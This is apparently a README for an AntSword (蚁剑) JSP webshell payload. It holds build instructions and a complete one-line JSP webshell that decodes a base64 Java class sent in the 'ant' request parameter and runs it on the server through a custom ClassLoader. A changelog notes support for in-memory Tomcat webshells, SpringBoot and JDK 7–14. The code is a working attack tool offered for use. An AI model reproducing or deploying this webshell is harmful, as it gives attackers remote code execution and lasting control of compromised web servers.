**蚁剑JSP一句话Payload
详细介绍:https://yzddmr6.tk/posts/antsword-diy-3/
编译环境:jdk7 + tomcat7
适用范围:jdk7 - jdk14
javac -cp "D:/xxxx/lib/servlet-api.jar;D:/xxx/lib/jsp-api.jar" Test.java
base64 -w 0 Test.class > Test.txt
在build.py/build.sh中替换你的javac路径后运行,即可在./dist
目录下自动生成代码模板。
Windows
python3 build.py
Linux/Mac os
./build.sh
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
其中pageContext
可以替换为request
或者response
,以实现对Tomcat内存Webshell的兼容
- 兼容SpringBoot
- 修复下载文件的BUG
- database添加Base64编码
- 增加对Tomcat内存Webshell的兼容
- 兼容高版本JDK(JDK7-14)
- release